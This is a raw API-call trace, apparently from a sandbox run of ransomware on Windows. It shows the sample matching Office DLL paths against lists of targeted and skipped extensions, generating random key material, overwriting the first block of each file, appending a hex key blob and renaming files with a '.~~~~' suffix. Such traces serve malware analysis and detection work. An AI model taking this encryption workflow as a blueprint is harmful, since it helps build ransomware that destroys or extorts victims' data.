	[0079.405] lstrlenW (lpString=".BDB") returned 4
	[0079.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".BDB") returned 0x0
	[0079.405] lstrlenW (lpString=".eql") returned 4
	[0079.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".eql") returned 0x0
	[0079.405] lstrlenW (lpString=".DBF") returned 4
	[0079.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DBF") returned 0x0
	[0079.405] lstrlenW (lpString=".EQL") returned 4
	[0079.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".EQL") returned 0x0
	[0079.405] lstrlenW (lpString=".FDB") returned 4
	[0079.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".FDB") returned 0x0
	[0079.406] lstrlenW (lpString=".EDB") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".EDB") returned 0x0
	[0079.406] lstrlenW (lpString=".DACPAC") returned 7
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.406] lstrlenW (lpString=".VHD") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".VHD") returned 0x0
	[0079.406] lstrlenW (lpString=".DBV") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DBV") returned 0x0
	[0079.406] lstrlenW (lpString=".dacpac") returned 7
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".dacpac") returned 0x0
	[0079.406] lstrlenW (lpString=".sdf") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".sdf") returned 0x0
	[0079.406] lstrlenW (lpString=".accdb") returned 6
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".accdb") returned 0x0
	[0079.406] lstrlenW (lpString=".DBX") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DBX") returned 0x0
	[0079.406] lstrlenW (lpString=".MDT") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".MDT") returned 0x0
	[0079.406] lstrlenW (lpString=".SQB") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".SQB") returned 0x0
	[0079.406] lstrlenW (lpString=".vhd") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".vhd") returned 0x0
	[0079.406] lstrlenW (lpString=".bac") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".bac") returned 0x0
	[0079.406] lstrlenW (lpString=".mdf") returned 4
	[0079.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".mdf") returned 0x0
	[0079.406] lstrlenW (lpString=".BAK") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".BAK") returned 0x0
	[0079.407] lstrlenW (lpString=".BAC") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".BAC") returned 0x0
	[0079.407] lstrlenW (lpString=".dbs") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".dbs") returned 0x0
	[0079.407] lstrlenW (lpString=".vhdx") returned 5
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".vhdx") returned 0x0
	[0079.407] lstrlenW (lpString=".NDF") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".NDF") returned 0x0
	[0079.407] lstrlenW (lpString=".dat") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".dat") returned 0x0
	[0079.407] lstrlenW (lpString=".DBS") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DBS") returned 0x0
	[0079.407] lstrlenW (lpString=".CKP") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".CKP") returned 0x0
	[0079.407] lstrlenW (lpString=".edb") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".edb") returned 0x0
	[0079.407] lstrlenW (lpString=".PST") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".PST") returned 0x0
	[0079.407] lstrlenW (lpString=".dbf") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".dbf") returned 0x0
	[0079.407] lstrlenW (lpString=".SQL") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".SQL") returned 0x0
	[0079.407] lstrlenW (lpString=".pst") returned 4
	[0079.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".pst") returned 0x0
	[0079.407] lstrlenW (lpString=".dbv") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".dbv") returned 0x0
	[0079.408] lstrlenW (lpString=".SDF") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".SDF") returned 0x0
	[0079.408] lstrlenW (lpString=".dtxs") returned 5
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".dtxs") returned 0x0
	[0079.408] lstrlenW (lpString=".db3") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".db3") returned 0x0
	[0079.408] lstrlenW (lpString=".OST") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".OST") returned 0x0
	[0079.408] lstrlenW (lpString=".dbx") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".dbx") returned 0x0
	[0079.408] lstrlenW (lpString=".DB3") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DB3") returned 0x0
	[0079.408] lstrlenW (lpString=".DAT") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DAT") returned 0x0
	[0079.408] lstrlenW (lpString=".VHDX") returned 5
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".VHDX") returned 0x0
	[0079.408] lstrlenW (lpString=".ndf") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".ndf") returned 0x0
	[0079.408] lstrlenW (lpString=".DB") returned 3
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DB") returned 0x0
	[0079.408] lstrlenW (lpString=".sql") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".sql") returned 0x0
	[0079.408] lstrlenW (lpString=".MYD") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".MYD") returned 0x0
	[0079.408] lstrlenW (lpString=".DBT") returned 4
	[0079.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DBT") returned 0x0
	[0079.409] lstrlenW (lpString=".ACCDB") returned 6
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.409] lstrlenW (lpString=".fdb") returned 4
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".fdb") returned 0x0
	[0079.409] lstrlenW (lpString=".bak") returned 4
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".bak") returned 0x0
	[0079.409] lstrlenW (lpString=".myd") returned 4
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".myd") returned 0x0
	[0079.409] lstrlenW (lpString=".DTXS") returned 5
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".DTXS") returned 0x0
	[0079.409] lstrlenW (lpString=".ckp") returned 4
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".ckp") returned 0x0
	[0079.409] lstrlenW (lpString=".dbt") returned 4
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".dbt") returned 0x0
	[0079.409] lstrlenW (lpString=".db") returned 3
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".db") returned 0x0
	[0079.409] lstrlenW (lpString=".TXT") returned 4
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".TXT") returned 0x0
	[0079.409] lstrlenW (lpString=".MDF") returned 4
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".MDF") returned 0x0
	[0079.409] lstrlenW (lpString=".bdb") returned 4
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".bdb") returned 0x0
	[0079.409] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.409] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0079.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.410] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0079.411] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.411] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0079.411] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19940088667) returned 1
	[0079.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99309510, dwHighDateTime=0x1d60e1e)) 
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b720
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b720 | out: hHeap=0x300000) returned 1
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6fe8
	[0079.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0079.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.411] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0079.412] GetLastError () returned 0x0
	[0079.412] GetLastError () returned 0x0
	[0079.412] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0079.412] GetLastError () returned 0x0
	[0079.412] GetLastError () returned 0x0
	[0079.412] ReadFile (in: hFile=0x134, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.425] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.425] WriteFile (in: hFile=0x134, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0079.427] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.427] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.446] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.446] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.446] CloseHandle (hObject=0x134) returned 1
	[0079.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.469] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.~~~~")) returned 1
	[0079.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0079.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0079.470] GetLastError () returned 0x0
	[0079.470] RtlWakeConditionVariable () returned 0x365f70
	[0079.471] GetCurrentThreadId () returned 0x9f4
	[0079.471] GetCurrentThreadId () returned 0x9f4
	[0079.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0079.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb4a0 | out: hHeap=0x300000) returned 1
	[0079.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0079.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb4a0
	[0079.471] lstrlenW (lpString=".scr") returned 4
	[0079.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".scr") returned 0x0
	[0079.471] lstrlenW (lpString=".cmd") returned 4
	[0079.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".cmd") returned 0x0
	[0079.471] lstrlenW (lpString=".dll") returned 4
	[0079.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".dll") returned 0x0
	[0079.471] lstrlenW (lpString=".bat") returned 4
	[0079.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".bat") returned 0x0
	[0079.471] lstrlenW (lpString=".cpl") returned 4
	[0079.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".cpl") returned 0x0
	[0079.471] lstrlenW (lpString=".sys") returned 4
	[0079.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".sys") returned 0x0
	[0079.471] lstrlenW (lpString=".msc") returned 4
	[0079.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".msc") returned 0x0
	[0079.471] lstrlenW (lpString=".com") returned 4
	[0079.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".com") returned 0x0
	[0079.471] lstrlenW (lpString=".lnk") returned 4
	[0079.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".lnk") returned 0x0
	[0079.472] lstrlenW (lpString=".msp") returned 4
	[0079.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".msp") returned 0x0
	[0079.472] lstrlenW (lpString=".pif") returned 4
	[0079.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".pif") returned 0x0
	[0079.472] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0079.482] lstrlenW (lpString=".sqb") returned 4
	[0079.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".sqb") returned 0x0
	[0079.482] lstrlenW (lpString=".ost") returned 4
	[0079.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".ost") returned 0x0
	[0079.482] lstrlenW (lpString=".txt") returned 4
	[0079.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".txt") returned 0x0
	[0079.482] lstrlenW (lpString=".mdt") returned 4
	[0079.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".mdt") returned 0x0
	[0079.482] lstrlenW (lpString=".BDB") returned 4
	[0079.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".BDB") returned 0x0
	[0079.482] lstrlenW (lpString=".eql") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".eql") returned 0x0
	[0079.483] lstrlenW (lpString=".DBF") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DBF") returned 0x0
	[0079.483] lstrlenW (lpString=".EQL") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".EQL") returned 0x0
	[0079.483] lstrlenW (lpString=".FDB") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".FDB") returned 0x0
	[0079.483] lstrlenW (lpString=".EDB") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".EDB") returned 0x0
	[0079.483] lstrlenW (lpString=".DACPAC") returned 7
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.483] lstrlenW (lpString=".VHD") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".VHD") returned 0x0
	[0079.483] lstrlenW (lpString=".DBV") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DBV") returned 0x0
	[0079.483] lstrlenW (lpString=".dacpac") returned 7
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".dacpac") returned 0x0
	[0079.483] lstrlenW (lpString=".sdf") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".sdf") returned 0x0
	[0079.483] lstrlenW (lpString=".accdb") returned 6
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".accdb") returned 0x0
	[0079.483] lstrlenW (lpString=".DBX") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".DBX") returned 0x0
	[0079.483] lstrlenW (lpString=".MDT") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".MDT") returned 0x0
	[0079.483] lstrlenW (lpString=".SQB") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".SQB") returned 0x0
	[0079.483] lstrlenW (lpString=".vhd") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".vhd") returned 0x0
	[0079.483] lstrlenW (lpString=".bac") returned 4
	[0079.483] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".bac") returned 0x0
	[0079.483] lstrlenW (lpString=".mdf") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".mdf") returned 0x0
	[0079.484] lstrlenW (lpString=".BAK") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".BAK") returned 0x0
	[0079.484] lstrlenW (lpString=".BAC") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".BAC") returned 0x0
	[0079.484] lstrlenW (lpString=".dbs") returned 4
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".dbs") returned 0x0
	[0079.484] lstrlenW (lpString=".vhdx") returned 5
	[0079.484] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL", lpSrch=".vhdx") returned 0x0
